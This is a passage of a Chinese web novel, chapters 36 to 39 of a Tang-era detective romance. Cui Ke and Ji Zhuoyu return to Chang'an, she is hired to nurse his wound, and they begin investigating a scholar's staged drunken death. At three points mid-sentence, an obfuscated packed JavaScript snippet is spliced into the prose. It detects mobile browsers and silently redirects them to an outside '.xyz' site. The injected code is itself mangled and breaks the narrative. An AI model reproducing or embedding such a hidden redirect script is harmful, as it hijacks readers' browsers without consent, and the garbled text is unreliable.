“崔少卿,一路顺风。”陆长史笑容可掬,“案子已结,那报恩寺的管事和尚,对掳掠少女,取人面皮塑像之事供认不讳,画押具结。据他供述,乃是贪图私利,妄图以此奇巧之物献媚天后,换取厚赏。纯属其一人私心,与寺内其他僧众无涉。” 周司马接口道:“正是,这和尚丧心病狂,已被我押入死牢,不日问斩。此案能破,全赖少卿明察秋毫,不畏险阻,下官等钦佩之至。” 赵参军双手抱剑,站在一旁没说话,神态孤傲冷漠。 看他那表情,像是刚跟什么人吵了一架,还没吵赢。 估摸跟他拌嘴的人就是旁边的陆长史和周司马,这两人站在一起,跟赵参军之间还能再站下两三个人,相隔甚远。 崔恪休整几日,身上的伤也好多了,身姿挺拔如松,闻言淡淡颔首:“分内之事,有劳诸位善后。” 他目光扫过季琢玉,见她神色平静,才转向码头官船。 季琢玉面上维持着平静,实则心里五味杂陈,她从后山回来,杨大牛就不见了,她去杨家船帮找人,船工说少帮主跟船出去运货了。 大牛哥不是不打招呼就走的人,他是在躲着她吗? 据崔十九说,杨大牛瞧见她被崔大人抱着,也瞧见了她的女儿身...... 大牛哥是不愿意与她相见了吗,觉得她心思不正,女扮男装诓骗他,还跟他结拜成兄弟。 正当三人准备上船,人群后面传来一阵小小的骚动。 “等一等!”还未看到人影,先听到熟悉的声音,是新荔姑娘。 新荔穿着崭新水红襦裙、梳着妇人发髻,由一位面容敦厚的年轻郎君小心搀扶着,快步走上前来。 她脸上伤痕淡了不少,气色红润,眉眼间带着新嫁娘的娇羞和初为人妇的青涩。 “恩人!”新荔挣脱夫君的手,对着季琢玉就要下拜。 季琢玉赶紧托住她胳膊将她扶起来:“姑娘,快起来,不必如此。” 新荔抬起头,眼中含泪,满是笑意:“若非恩人,新荔,新荔早已……”她声音哽咽,旁边的夫君连忙轻抚她背脊安抚。 “都过去了。”季琢玉温声道,目光落在她红润的脸上和身旁体贴的夫君身上,露出一丝欣慰。 新荔用力点头,抹了把泪,忽然想起什么,看向崔恪,语气带着几分天真:“对了,恩人,我家夫君说,那日崔大人听说您独自一人闯进后山救我时,紧张得在府衙里坐立不安,脸都白了,不顾伤口要亲自去寻您呢。” 这话一出,码头上变得静悄悄的,也不是知道是天意还是人为。 季琢玉转头看向崔恪,心口像是被什么东西轻轻撞了一下,一股说不清道不明的热意涌上脸颊。 她似乎看到崔恪的侧脸僵了一下,随后耳根飞快掠过一抹可疑的红。 “咳!”崔恪别开脸,避开季琢玉炙热的目光,刻意板起面孔,声音里带着一种欲盖弥彰的严肃,“本官此行身负重任,季公子是本官的得力下属,她岂能有闪失,本官心急也在情理之中。” 这话说得又快又急,官腔十足,仿佛在极力撇清什么,微微泛红的耳廓早将他那点心思暴露无遗。 季琢玉眼里的光瞬间暗下去,硬邦邦的“属下”二字不动声色地烙在她的心上。 她低下头,轻轻“嗯”了一声,声音低得几乎听不见:“大人说的是,属下知道了。” 不知为何,失望之情像码头上还未散去的水雾,无声地包裹在她周身。 崔恪看到她落寞地低下头,张了张嘴想说什么,碍于众目睽睽,尤其旁边崔十九还一脸“若被困后山的是属下或十八,大人也会如此吗”的表情看着。 终究只是绷紧了脸,对着新荔和她夫君道:“案子已了,众人无事便好。” 新荔连忙拉着夫君再次躬身道谢,意味深长地看一眼少卿大人和季姑娘。 季姑娘还是女扮男装,旁人不晓得她是女儿身,新荔却知道。 她清清楚楚地瞧见了季姑娘女儿家的原本模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922307|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那是何等的仙姿佚貌,惊为天人,真真是与崔大人相配。 她被抓去时,远远瞧见过报恩寺中的天后佛像,季姑娘真是好福气,眉眼竟能与天后相似,甚至说她的唇,与天后简直是一模一样。 “恩人,你与崔大人多保重,我们后会有期。”新荔在人群里招手呼喊。 季琢玉点头,摆手示意她不必再相送,快些回去吧。 “时辰不早,启程吧。”崔恪率先转身,大步踏上跳板。 季琢玉默默跟在他身后,也上了船。 官船驶动,摇摇晃晃。 季琢玉站在船舷边,望着远去的江南岸,新荔夫妇还在岸边用力挥手,陆长史等人也躬身作揖。 可她的心思,却全然不在岸上。 岸边的清风吹拂着她的发丝,带来丝丝凉爽,她扭头找寻崔大人的身影。 崔恪一身墨蓝色官袍,背对着她站得笔挺,一只手背在身后,望着水天交界处,似若有所思。 崔十九指挥船工收起跳板,官船缓缓离岸。 他看看自家大人挺得笔直的背影,又看看季姑娘望着他若有所思,眼神一丝落寞。 崔十九悄悄叹了口气,心里想自家大人这张嘴,比河道里两岸的石头还硬实。 大人有多紧张季姑娘,他全看在眼里,同样都是属下,从前他和十七十八可没这样的待遇,能被大人放在心尖尖上的“属下”只一位。 季琢玉望着崔大人看了良久,直到看着他头也不回的走进船舱,她才迟迟地收回目光。 眼神里的落寞已经凝住了,视线下落到河道上依旧如此。 眼下河水清澈,随着船身驶动,荡开一圈圈的涟漪。 季琢玉叹了一口气,方才岸上人群的喧嚣声和她那点未能言明的惆怅心事,好似都随着涟漪沉入了运河河道,留在江南。 一眨眼的功夫,几日后临近了长安城,要将官船换成马车。 三人下船,来到一家挂着“悦来”幌子的客栈前。 大堂里人声喧杂,南来北往的客官饮酒作乐,空气中飘着可口饭菜和酒肉的香气。 崔恪挑了张靠里的干净桌子坐下,背伤未愈,坐得比平日更挺直些,季琢玉坐在他对面,崔十九则坐在侧手边。 跑堂的刚把几样清粥小菜端上桌,旁边一桌几个年轻举子的高谈阔论就飘进了他们的耳朵里。 “李兄,满上满上!” 穿湖蓝绸衫的举子拍着桌子震天响,脸微醺发红,已然是醉了酒,举着酒壶就往旁边一个穿着半旧青衫、面容清瘦的举子杯里倒。 “这壶玉泉春乃事此地一绝,清冽甘醇,不比扬州的差,你不饮此杯岂非白来一趟?” 面容清瘦的举子连忙用手捂住杯口,身体微微后仰,眉头紧锁:“王兄,好意心领,只是我不善饮酒,沾酒便头疼欲裂,更恐耽误明日赶路温书。以茶代酒,敬各位兄台。”说着就想去拿茶壶。 “哎,此言差矣。” 另一位穿着锦缎绸衫,身形胖些的举子起身按住他拿茶壶的手,圆脸上堆满不认同的笑意。 “圣人云‘酒逢知己千杯少’,我等寒窗苦读,难得同游,岂能无酒助兴?李兄莫要扫兴。” “正是正是!孙兄说得对,怎能以茶代酒,难以尽兴。” 蓝绸衫的举子又把酒壶往前凑,带着点强劝的意味,“李兄,就一杯,一杯而已。入乡随俗,尝尝这特色,日后金榜题名,回想起来也是一桩雅事。来!” 他几乎是半强迫地要拉开身边举子护着杯子的手。 37. 第三十七章 姓李的举子被两人夹在中间,脸色发白,身体僵硬,眼神里透着窘迫,双手死死护着自己的杯子,声音响亮:“王兄,赵兄,强人所难非君子所为,请恕在下失礼,这酒是万万不能饮的。” 此行去长安,为科考,怎能贪酒误事,何况,他每每饮酒便会浑身起红疹子,须得好几日才能淡去。 若是考官误以为他生了什么急症,不许他进贡院,岂不麻烦。 桌前的情景一时有些僵硬,劝酒的两人脸上挂不住,讪讪收回手,嘴里还嘟囔着“迂腐”、“不识抬举”之类的话。 这番动静自然落入季琢玉的眼中,她原本有一搭没一搭地搅着碗里的清粥,对那些举子的争执不甚在意。 直到听见“玉泉春”、“此地一绝”几个字,耳朵小猫似的敏感竖了起来。 她目光不由自主瞟向举人那桌,看着那壶被争抢的酒,小巧高挺的鼻翼微微翕动,隔着空气嗅到一股清冽酒香。 “啧……”她极轻地砸了下嘴,眼神黏在那酒壶上,毫不掩饰自己的馋意。 这酒,闻起来真不错,确实与长安城中的酒不同,赶路辛苦,好不容易到了此地,若是能喝点美酒解解乏也好。 她收回目光,眼巴巴地望向对面的崔恪。 清亮的眸子挤满了渴望,像只讨食的可怜小猫,眼神小心翼翼的试探和期待,无声地传递着一个意思。 大人,咱们也来一壶嘛,我就喝一口,尝尝特色。 崔恪慢条斯理地用瓷白小勺舀着粥,举止优雅,仿佛没听见旁边的争执。 季琢玉火辣辣的目光一投过来,他执勺的手指几不可察地顿了一下。 崔恪抬起眼皮,目光平静地迎上她充满希冀的眼神。 眼神无波,是不容置疑的拒绝。 他头都没摇一下,只是淡淡地收回目光,继续喝粥,沉默就是不行。 崔大人是这般不好说话的,季琢玉眼中无光,肩膀垮了半分,拿着筷子似有似无地去夹菜,夹了半天什么没也夹上来。 旁边的崔十九看得分明,连忙笑着打圆场,声音不大不小,刚好能让季琢玉听见。 “季姑娘,这酒嘛闻着是香,不过您身上那些擦伤刮痕还没好利索呢,大人这刀口更是马虎不得,酒这东西,活血是活血,可也发物啊,沾了怕对伤口不好。” 他顿了顿,又补充道,带着点哄劝的意思,“再说了,这乡野地方的酒,再有名气,能比得上咱们长安城的新丰酒?那才是真正的琼浆玉液,等回了长安,伤养好了,您想喝多少,让大人……咳,让卑职请您喝都成,保管比这个好。” 季琢玉听着崔十九的话,知道句句在理,可心里那点馋虫被勾起来,哪是那么容易压下去的。 尤其旁边那桌举子们虽然不再强劝李淳,但自己推杯换盏喝得正酣,“玉泉春”的酒香丝丝缕缕地往这边飘。 她顿时觉得眼前的清粥小菜索然无味,敷衍地扒拉了两口饭就放下筷子,单手托着腮,眼神放空,望着窗外官道上的行人发呆。 整个人都蔫蔫的,瞧着像架子上霜打的茄子。 崔恪未再抬头看她,眼角的光早将她那副失落又强忍的模样收尽眼底。 她托着腮发呆,没喝到酒,连饭也没心思吃了。 崔恪端着粥碗的手停在唇边片刻,无声地轻叹一声。 默默放下碗,修长手指在桌面上轻轻叩了叩。 跑堂的机灵,一个眼神就立刻小跑过来:“客官,您吩咐?” 崔恪语气平淡:“温一壶‘玉泉春’来,要温透。” 跑堂的应声去了。 季琢玉神游天外,突然听到崔大人让煮酒,她猛地回神,怀疑自己听错了。 倏地坐直身体,眼睛瞪得溜圆,难以置信地看向崔恪。 崔恪脸上没什么表情,端起茶杯轻抿一口,侧脸避开她灼灼的目光。 “大人?”季琢玉声音里带着惊喜和不确定。 崔恪放下茶杯,抬眼看她,目光平静,淡淡说了一句:“少饮些。” “是,多谢大人。”季琢玉笑靥如花,眼底的失落一扫而空,亮晶晶的眸子闪着光,连声道谢。 她比窗外树枝上的喜鹊还要雀跃。 很快小二将一壶温得恰到好处的“玉泉春”端了上来,酒香被热气一激,醇厚诱人。 季琢玉小心翼翼地给自己斟了小半杯,捧在手里,凑到鼻尖满足地嗅了嗅,才小口小口地啜饮起来。 温热的酒液滑入喉咙,驱散了浑身的疲惫,眯着眼睛,微微扬起下巴,脸上尽是满足的惬意。 崔恪看着她这副心满意足,小猫偷腥似的模样,眼底深处掠过一丝极淡的笑意,只不过就一瞬。 他垂下眼帘,继续慢悠悠地喝他那碗早已凉透的粥。 崔十九在一旁,默默给自家大人添了杯热茶,嘴角憋着一丝了然的笑。 他今日也是沾了季姑娘的光,能喝上大人亲自让小二端上来的这壶“玉泉春”,从前离开长安查案,可没有今日这种待遇。 一行人吃过午饭,上了马车,不一会儿便到了长安城。 大理寺衙署后院。 崔恪背上的刀伤尚未痊愈,但已能下地行走,只是动作还需小心些。 众人刚安顿下来,便有仆人来报,说原先负责崔大人饮食起居的厨娘,前几日染了风寒,告病回家了。 站在一旁的酒爷捻着几根稀疏的胡子,慢悠悠地道:“大人这伤,身边没个细致人照料饮食汤药可不行,依老朽看,季姑娘……哦不,季公子,”他看了眼季琢玉身上那身半旧不新的男子常服,改了口,“心思细,手脚也麻利,又识文断字,懂些医理,留下来照顾大人起居,最是合适不过。” 话音刚落,崔十九立刻像被踩了尾巴的猫,跳了起来,声音都拔高了:“不行,绝对不行。” 他急赤白脸,“酒爷你明知道季姑娘是……”后面的话他憋住了,眼神使劲往季琢玉身上瞟,意思再明白不过。 季姑娘是女儿身,怎么能贴身照顾少卿大人,传出去像什么话。 季琢玉心里想着几日未回长安城,话本铺子肯定又添了新话本子,价格肯定不低。 一听能留在大理寺干活,眼睛一亮,这下买新话本子的钱有着落了。 她清了清嗓子,故意粗着点声音道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928279|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十九大哥此言差矣,外人又不知道我是女子,我穿着这身衣服,便是大人的手下,大人是上官,属下照顾受伤的上官,天经地义,有什么不方便的?” 她顿了顿,话锋一转,清亮的眸子尽是精明和期待,直勾勾地看向酒爷,“对了酒爷,大理寺的厨娘一日工钱是多少来着?” 工钱高低与她愿不愿意照顾崔大人,有直接关系,她心里的小算盘打得噼啪响。 酒爷在大理寺做事多年,对衙门里各项开支门儿清,想也不想,伸出两根手指头:“不多,一日二十文。” “哦,二十文……”季琢玉心里盘算着能买多少话本子,刚想开口说“那我照顾大人也按这个数拿工钱……” 话还没出口,一道低沉平静地声音传来。 “二百文。” 屋里倏然鸦雀无声,只有每个人倒吸冷气的呼吸声。 季琢玉猛地转头,不可思议地看向身后。 崔大人坐在椅子上,低头翻阅卷宗,眼皮抬都没抬一下,仿佛刚才都话不是他说的。 酒爷捻胡子的手僵在半空,眼珠子瞪得溜圆:“二、二百文?” 他以为自己耳背了。 厨娘如今的二十文都是看在厨娘年纪大,人本分,做事多年没出过错,管着大人小厨房尽心尽力的份上给的价。 崔十九屏住呼吸,看看自家大人,又看看同样惊讶的季琢玉,脑子里一片空白。 季琢玉眨眨眼,泼天富贵让她有点结巴:“大、大人,您是说一日二百文?” 她怀疑自己听错了,这比她预想的工钱多了十倍。 崔恪慢悠悠合上卷宗,抬起眼。 一张俊脸上没什么表情,眼神平静,似在说一件平常小事:“厨娘的工钱,前几日刚涨了,他们不知晓而已。” 季琢玉:“!!!” 从天而降的馅饼砸得她脑袋晕乎乎,嘴角不受控制地往上翘,拼命压都压不住。 二百文!一天! 只是照顾一下崔大人,这跟出门去朱雀大街上捡钱有什么区别。 她看向崔恪的眼神充满了感激,声音甜得不得了:“多谢大人,属下一定尽心竭力把您照顾好。” 崔恪轻轻“嗯”了一声,重新拿起一份卷宗,卷宗刚好遮住了微微上扬的唇角。 酒爷看看崔大人,又看看几乎喜极而泣的季琢玉,再看看一脸冷静的崔十九。 他老脸上皱纹抖了抖,把满腹的疑问和“王婶工钱什么时候的涨了老朽怎么不知道”的话咽了回去。 酒爷捋着胡子干笑两声:“原来涨了,涨了好啊,季姑娘您好好照顾大人,日后还有再涨工钱的时候。” 用不了多久,崔大人怕是全部身家都要送给季姑娘了,只为讨得季姑娘欢心。 崔十九站在一旁,看着季姑娘一副“天降横财”的雀跃模样,再偷偷瞥一眼自家大人说谎的淡定样子,真是无奈又可怜。 十八不在,他连个吐槽的人都没有。 天理何在,一个厨娘的工钱,比他这个正儿八经的贴身护卫多出十倍。 都是“属下”,崔大人偏心眼儿也偏得太明目张胆了。 38. 第三十八章 季琢玉回崇仁坊的胡饼铺子收拾些细软,崔恪背伤未愈,却执意要跟着。 季琢玉拗不过他,只得由他。 刚拐进熟悉的巷口,浓郁焦香的胡饼味便扑面而来。 秦姨正站在炉前忙活,半旧的窄袖短襦,本色的麻葛料子,洗得有些发白。 束袖带从手腕上方一寸缠绕,斜斜向上,一直缠裹到接近肘部下方才用力打了个死结。 动作利落地揉面擀饼,将生饼子放进炉子里烤,拿起筷子搅动碗里的新鲜羊肉馅子。 她用袖子抹去额间的汗珠,一抬头见季琢玉回来,脸上笑开了花:“玉儿回来啦,崔大人也来了,快进屋坐。” “秦姨,这几日可累坏我了。“季琢玉耸耸肩,嘟囔着:”我在江南这几日,日日都想着您和花大叔呢。“ “你这丫头,才几日不见,嘴上什么时候抹的蜜,是想着我的手艺还是想着我啊。“秦姨擦干手,进铺子招呼他们。 季琢玉直笑,眯着眼睛,垂涎欲滴地看向旁边烤的金黄的羊肉胡饼,酥脆的饼皮上冒着热气。 “尝尝今儿刚出炉的胡饼,香着呢!”秦姨热情招呼,麻利地用油纸包了两个递过来。 崔恪接过胡饼,垂眸看着手里的饼子,似乎深思了一下。 “秦姨手艺绝佳,本官今日也有口福了。”他顿了顿,目光落在炉边堆叠如小山的胡饼上,状似随意地问:“不知寻常人一次能吃几个?” 秦姨一愣,随即朗声笑道:“哎哟,那可没准,胃口好的壮实小伙一口气能吃十个,瞧他们吃的多吃得香,我看着也高兴。” 她口中的壮实小伙说的多半就是杨大牛。 崔恪面上不动声色,下颌线微不可察地绷紧了一下。 “十个?”崔恪重复了一遍,语气平淡。 他抬眼看向秦姨,眼神里带着一种莫名的认真,“那便劳烦秦姨,也给我来十个。” “十、十个?”秦姨和季琢玉同时瞪大眼睛,脱口而出。 秦姨看看崔恪那清贵挺拔、怎么看也不像大胃王的身板,又看看季琢玉。 季琢玉皱起眉,扯了扯崔恪的袖子,压低声音:“大人,您伤还没好,不易多食胡饼,再说十个也太多了。” 她想起杨大牛那壮硕的身形,再看看崔恪……这能行吗? 杨大牛整日干力气活,在码头上跟船工一起搬货,胃口大的很,一顿能吃下十个饼子,还要再喝几碗浑酒。 崔大人一介文官……能吃下吗? 崔恪拂开她的手,只对秦姨道:“无妨,只管上。” 秦姨将信将疑,麻利地包了十个刚出炉的热腾腾胡饼,堆在崔恪面前,成金黄的小山。 崔恪拿起第一个,姿态优雅地咬了一口。 酥脆掉渣,麦香浓郁,确实不错。 他细嚼慢咽,动作依旧从容。 一个、两个、三个……他吃得又慢又稳。 吃下四五个,额角渐渐渗出细密的汗珠,咀嚼的动作也越发艰难,硬是没停。 季琢玉在旁边看得心惊肉跳,又觉得莫名好笑。 大人这是在跟杨大牛置气? 杨大牛不过是随口一说,没有要跟他争个输赢的意思,他倒是记得清楚,刚到长安城就要吃下十个胡饼,以防落人之后。 崔大人比她想的还要幼稚,怎么在这种小事上如此孩子气。 她悄悄扯了扯秦姨的袖子,示意她看。 秦姨也是个人精,看着崔恪明明撑得不行还要硬塞,偏偏脸上还要维持风度的样子,又好笑又有点心疼,忍不住劝道:“大人,吃不下就别硬撑了……” 崔恪正拿起第八个,闻言动作一顿,喉结艰难地滚动一下,咽下嘴里那口胡饼,声音略有滞涩:“尚可。” 他深吸一口气,继续吃胡饼。 季琢玉实在看不下去了,趁着秦姨转身招呼其他客人,飞快伸手抢走了他手里刚咬了一口的第八个饼,压低声音嗔道:“行了行了,再吃下去,该请郎中了,我拿了大理寺的银子要照顾好你,你不能出事。” 季琢玉真怕他把自个撑死。 崔恪被她抢了饼,手上的动作僵住,抬眼对上她担忧的眼神,若有所思。 他看看桌上剩下的两个胡饼,又看看秦姨忙碌的背影,最终抿了抿唇,没再坚持,顺带着紧绷的下颌线松了些许。 秦姨适时地端了两碗热腾腾的羊汤过来,笑眯眯地说:“大人,快喝点汤顺顺,您这胃口真好,身体肯定壮实。” 她竖了个大拇指。 崔恪闻言,眼底掠过一丝满意的光,矜持地“嗯”了一声,接过汤碗,小口喝了起来。 季琢玉在一旁,看着他那副明明撑得难受还要强装无事,偏又因秦姨一句话而隐隐雀跃的样子,差点笑出声,赶紧低头猛喝汤掩饰。 “好了,好了,我去收拾东西,大人您稍等我。” 季琢玉起身往后院,被秦姨横插一脚拦住,问道:“这才刚回来,又要去哪儿?“ “秦姨,您误会了,我不是要去哪儿,是要去大理寺小住几日,崔大人受了伤,偏偏厨娘前几日感了风寒不在衙门,我得亲自照顾大人。” “你一个女儿家……”秦姨指着她,脸色微愠。 玉儿女扮男装跟着崔少卿查案,已经够荒唐了,如今还要去大理寺贴身照顾崔大人,这成何体统。 季琢玉并不在意,继续收拾东西。 “你日后还要嫁人呢,怎么能答应这事,他那么大一个官,家里会没有丫鬟?非得把你留在衙门,是为何?你动动脑子想想。”秦姨声音略低些,压着眉头。 她绝不答应玉儿去给人当妾室,崔少卿若有这个想法,趁早打消。 季琢玉手下的动作一停,眼睛忽得眨动一下,抿抿唇说:“秦姨,你多虑了,崔大人对我没别的心思。” 她依稀记得崔恪在江南道码头同新荔姑娘说的话,他担心她,紧张她,不过是因为她为他做事,尽心竭力,他不想让她这个“属下”出事而已。 说白了,她在他眼里,与崔十八崔十九没什么区别,都是他的左膀右臂。 季琢玉心里的失落和难过来的快去的也快,她想着能在崔少卿身边做事,钱拿得多,脸上也有面子,没什么不好的。 她尽好本分,做好该做的就行了,别的乱七八糟的少想为妙。 秦姨看看不远处坐在桌前的崔大人,再看看认真收拾包袱的玉儿,心里五味杂陈。 得赶紧为玉儿寻一门好亲事,必得是当那穿着大红嫁衣,八抬大轿迎进门的正妻才行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15932156|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫家穷些破败些也不要紧,总归是不能为人妾室。 季琢玉收拾好包袱,叫上崔大人回大理寺,崔恪走在前面,她拎着大包小包跟在后面。 刚出坊门,转入朱雀大街,瞧见一片热闹的景象。 宽阔的朱雀大街两侧,挤满了背着书箧的举子,个个青衫,人头攒动,摩肩接踵。 各地口音的交谈话语声,骡马的嘶鸣声,售卖笔墨纸砚和应考吃食的小贩吆喝声,汇集在一起,甭提多热闹了。 季琢玉被眼前各地举子赶考的阵仗惊到,目光扫过人群,忽然定住,拉了拉崔恪的袖子:“大人您看,那不是客栈里咱们见到的举子吗?” 崔恪顺着她指的方向看去,果然见之前姓李的清瘦举子,背着沉重的书箧,挤在人群中艰难前行,弯着腰疲惫不堪,眼神却十分明亮。 “嗯,”崔恪收回目光,看着眼前万头攒动的景象,说道,“圣后登基,特开恩科,广纳贤才,过几日便是礼部开考。” 他语气颇为感慨:“寒窗十载,一朝跃龙门,成则青云直上,败再再待三年。” “那大人也考过?”季琢玉问。 “考过。”崔恪一语带过,并未细说之前科考的事情,那是很久以前的事情了。 他十一岁考中秀才,十四岁中举人,十七岁中进士,年纪虽比眼前的这些举人小,却是他们当之无愧的前辈。 依稀记得,那日放榜,他是进士第十人,朝中不少大官榜下招婿,纷纷与他道喜。 有个簪花的小娘子气鼓鼓地瞧着他,终于还是上前推开他面前的人,嚷着说:“我是他家娘子,你们不向我一同道喜吗?” 那些大官纷纷笑着也跟她说贺喜的话,她拉起他就往人群外跑去,头也不回,好像身后是什么洪水猛兽。 季琢玉仰头看向一旁的崔大人,不明白他为何嘴角有笑意,眼神却是落寞的,好似陷入了某种思绪当中。 两人费力地穿过喧闹拥挤的朱雀大街,终于回到清静的大理寺衙署后院。 刚踏进院门,便看到崔十九端着一个红漆食案,上面摆着几碟精致小菜和一碗熬得浓稠的粟米羹,从庖厨方向走来。 他见到崔大人,笑着迎上来:“大人您可回来了,正好,刚做好的晚膳,您趁热……” “不必了。”崔恪打断他,声音带着被食物顶到喉咙口的滞涩感。 他微微蹙眉,抬手极其缓慢地背到身后,深吸一口气才道:“饱了,撤下吧。” 崔十九一愣,看看食案上热气腾腾的饭菜,又看自家大人明显不适又强撑淡定的表情,疑惑道:“大人您……用过膳了?” 这回来的路上也没像样的馆子,大人是在哪儿用的膳? “嗯。”崔恪不欲多言,只想赶紧到别院休息,缓缓胃里的八个胡饼。 他走远,金黄色的胡饼碎渣从深青色官袍的袖口掉落在青石板上。 崔十九眼尖,一眼就认出来了,大人晚膳用的正是羊肉胡饼。 若是没记错,季姑娘家里就是卖羊肉胡饼的,大人从前不是不吃羊肉的吗? 崔十八走前给他留有书信,写着每每衙门小厨房里烤羊肉,都要记得叮嘱厨娘另做膳食给大人。 他能想到,等十八回来,看到现如今的大人,会多么惊讶。 39. 第三十九章 次日清晨,差役刚推开大理寺衙署的门,将闩门的棍子竖在门后。 一个身穿绸缎衫,攥拳怒目的举子不顾阻拦,直闯进来,口中大喊:“求崔少卿做主,李淳死得冤枉。” 紧随他而到的另一个举子,伸手拽他的袖子,小声劝:“王兄,快跟我回去吧,别在考前惹事上身。” 正厅内,崔恪刚起身,正由季琢玉在一旁给他换药。 闻声,两人皆是一怔。 “何人在外喧哗?”崔恪蹙眉,声音低沉威严。 崔十九快步进来禀报:“大人,是两个今科举子在外面,唤做王石赵海,说他的同窗李淳昨夜被发现死在城外竹林里,县廨草草验看,说是醉酒暴毙……可他坚称李淳从不饮酒,定是被人所害,求大人重审此案。” “李淳?”季琢玉听着耳熟,脱口而出,“可是咱们在悦来客栈遇到的举子李淳?” “正是。”崔十九道。 季琢玉看向崔恪,两人对视一眼,明白对方内心所想,此案确有蹊跷,李淳确实不会饮酒,又怎么会因醉酒暴毙。 崔恪沉声道:“将人带进来。” “是,大人。”崔十九转身出去。 片刻,方才在门外喧哗的举子快走进来,扑通跪倒在地,涕泪横流。 “大人明鉴,李淳滴酒不沾,我与王兄曾强劝他饮酒,他宁可翻脸也不肯喝一口,如此之人,怎么会醉酒暴毙?定是县廨草菅人命,求大人为李淳伸冤。” 他重重磕下头去。 “滴酒不沾?”崔恪眼神锐利如隼,与身旁的季琢玉交换了一个眼神。 季琢玉眼中笃定,王石所言属实。 “走。”崔恪拂袖起身,脚下步子毫不停顿,“去城外竹林。” 季琢玉看一眼桌上未上完的药膏,眸色担忧,还是心一横,紧随其后赶往城外。 城外成片的翠竹遮天蔽日,少有人来。 一处空地上,围着几个县廨的差役和地保,做事敷衍。 还未见到尸体,走近些就闻到浓重的酒气,混着泥土的潮湿味。 县尉见大理寺少卿亲至,慌忙上前行礼,指着李淳的尸体道:“崔大人,下官已查验过,死者李淳确系醉酒后身亡,您看这附近只有他一人的脚步,再无他人。”他指着几处深浅不一的脚印,“还有他身上浓重的酒味,少说也得喝了七八坛酒,错不了,尸体是几个路过的樵夫发现的,唉,也是可怜……” 举子赶考,其中难免有心中惆怅,恐落榜无言面对亲人的,多去酒肆饮酒,实属正常。 但像李淳这般喝成这个样子,实属少见。 又听同窗举子说,李淳从前并不饮酒,县尉认定李淳酒量极差,一时无度,饮酒过多而死,也在情理之中。 崔恪看都未看那县尉一眼,径直走到尸体。 季琢玉强忍着刺鼻的气味跟上去,也蹲下身,仔细查看地上的痕迹。 她的目光掠过地上的靴印,眉头紧锁。 崔恪对随行的崔十九沉声道:“仵作在哪儿,叫过来重新验看。” 崔十九环顾一圈也没看到仵作,疑惑的目光落在县尉身上。 县尉赶紧上前,解释道:“仵作前不久告假回乡了,县廨还没找到合适的人担此大任……” 崔恪脸色阴沉,县尉又连忙说:“崔大人,下官也会验尸,方才就是下官……” 季琢玉站起身,打断县尉的话,出声道:“把东西给我,我来吧。” 崔十九惊讶不已,他不知道季姑娘竟有这样的本事,还会验尸? 崔恪面不改色,眼神淡淡地看她一眼,点了点头算是同意了。 县尉赶紧把仵作要用的东西递给季琢玉,好奇询问:“不知这位大人是何职位,下官也好称呼。” “我是崔大人的属下,跟崔十九一样。”季琢玉蹲到地上,边拆开装着验尸工具的包袱,边随口应答。 崔十九吞吞口水,瞥一眼崔大人。 哪儿一样了,他每日二十文,季姑娘您可是二百文。 谁轻谁重,想必自家大人心里最清楚。 崔十九心里莫名有股子醋意。 季琢玉凑近观察尸体,双手戴着羊肠手套,她注意到李淳的脖颈处,在泥污掩盖下,似乎有几道不寻常的淤痕。 她示意崔大人:“看这。” 崔恪走上前,拨开李淳的衣领,几道清晰的深紫色指痕赫然出现在他的颈侧,指痕用力极大,几乎刻在皮肉上。 “这是……扼痕?”崔十九倒吸一口凉气。 崔恪眼神冰冷瞥一眼身后的县尉,道季琢玉:“继续验。” 连如此明显的扼痕都未看见,也敢说他自己会验尸?县尉分明是着急结案,敷衍了事。 季琢玉“嗯”一声,目光又落在李淳的嘴唇附近。 她伸出戴着手套的手指,轻轻掰开他双唇,凑近鼻尖仔细嗅了嗅。 “大人,”她抬起头,眼中有光,“这口中……只有食物残渣气味,并无丝毫酒味。” 崔恪闻言,立刻俯身,凑近些仔细看 果然,他身上的酒气只浮于衣物和皮肤上,酒更像是在死后被泼上去的。 “再验。”崔恪命令。 季琢玉搬动李淳的头,仔细看,脑后侧有明显的凹陷,像是被重物击打过。 “凶手从背后敲晕了他,”季琢玉声音发寒,指着李淳的脑后,“随后将其掐死,又将大量的酒倒在他的身上。” 崔恪直起身,目光扫过地上的酒壶,再看向李淳脖颈上致命的扼痕,最后落在他死不瞑目的双眼上。 他转身朝向面如土色,早已浑身冷汗涔涔的陈县尉,声音寒气入骨:“你说他是如何死的?” 县尉背后一冷,慌忙双膝跪地,颤抖着声音求饶:“少卿大人,下官无能,竟没看出李淳是他杀。” 